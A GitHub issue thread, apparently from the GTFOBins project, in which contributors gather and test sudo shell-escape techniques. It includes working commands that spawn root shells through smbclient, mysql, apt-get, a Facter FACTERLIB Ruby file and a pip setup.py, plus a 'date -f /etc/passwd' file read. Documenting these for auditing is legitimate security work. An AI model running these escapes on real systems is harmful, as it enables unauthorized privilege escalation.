Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New bins #20

Closed
AlessandroZ opened this issue Aug 30, 2018 · 10 comments
Closed

New bins #20

AlessandroZ opened this issue Aug 30, 2018 · 10 comments

Comments

@AlessandroZ
Copy link
Contributor

AlessandroZ commented Aug 30, 2018

Sorry for opening an issue and not doing a PR but I don't have lot of time, you will do it faster than me.
These new ways are from the FallofSudo project.

Here are some other tools:

  • smbclient
Connect to a valid SMB or CIFS share:
sudo smbclient \\ip\share -U username
smb:> !/bin/bash
  • mysql
    sudo mysql -e '\! /bin/bash'

  • apt-get

sudo apt-get changelog bash
!/bin/bash
@epinna
Copy link
Member

epinna commented Aug 31, 2018

Thanks AlessandroZ, that's a great contribution, I'll work on this next days.

cyrus-and added a commit that referenced this issue Aug 31, 2018
@epinna
Copy link
Member

epinna commented Sep 3, 2018

Did you try the facter payload? My version uses a slightly different syntax i.e. uses --external-dir but I get no command execution.

$ cat x2
Facter.add(x) do
  setcode do
    Facter::Core::Execution.execute('/usr/bin/id > /tmp/output')
    Facter::Util::Resolution.exec('/usr/bin/id > /tmp/output')
  end
end
$ facter --external-dir=.
Fact file ./x2 was parsed but returned an empty data set
...
$ cat /tmp/output
cat: /tmp/output: No such file or directory

Since it's Ruby I also tried some generic ruby command execution statement, with no luck so far.

epinna added a commit that referenced this issue Sep 3, 2018
epinna added a commit that referenced this issue Sep 3, 2018
@AlessandroZ
Copy link
Contributor Author

Hi,

No in fact, I haven't tested it before. I do not have custom-dir as well but it should be alse done using the environment variable FACTERLIB. I have just done some test but without success.

I agree, it's weird, in lot of examples, they launch system command.

@cyrus-and
Copy link
Member

OK the problem was that directories must be absolute paths.

Also apparently there are two kind of facts:

  • custom facts (that uses FACTERLIB) are Ruby files;
  • external facts (that uses external-dir) are any shebanged executable file.

The nice thing about the former is that the Ruby code is executed within the main ruby process so with an exec we can replace it with a proper interactive shell.

Here's how:

TF=$(mktemp --tmpdir XXXXXXXXXX.rb)
echo 'exec("/bin/sh")' > $TF
FACTERLIB=/tmp/ facter

I'm going to add the binary.

cyrus-and added a commit that referenced this issue Sep 4, 2018
Thanks to #20.
@AlessandroZ
Copy link
Contributor Author

Awesome, nice work. 👍

@AlessandroZ
Copy link
Contributor Author

I have seen this one too:
date -f /etc/passwd

@AlessandroZ
Copy link
Contributor Author

pip as well using a custom repo:
pip install custom_repo

Like these repos (or another custom one):

@cyrus-and
Copy link
Member

cyrus-and commented Sep 5, 2018

Thanks @AlessandroZ, let's see if GitHub can help us keeping track of this:

epinna added a commit that referenced this issue Sep 5, 2018
cyrus-and added a commit that referenced this issue Sep 6, 2018
Thanks to #20.
cyrus-and added a commit that referenced this issue Sep 6, 2018
As suggested by #20.
@cyrus-and
Copy link
Member

Here's the pip version, it's just execute-interactive, I'm not sure if we should add all the other functions since it's basically Python.

TF=$(mktemp -d)
echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py
pip install $TF

@AlessandroZ
Copy link
Contributor Author

It's perfect like that. Thanks for your work. 👍

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants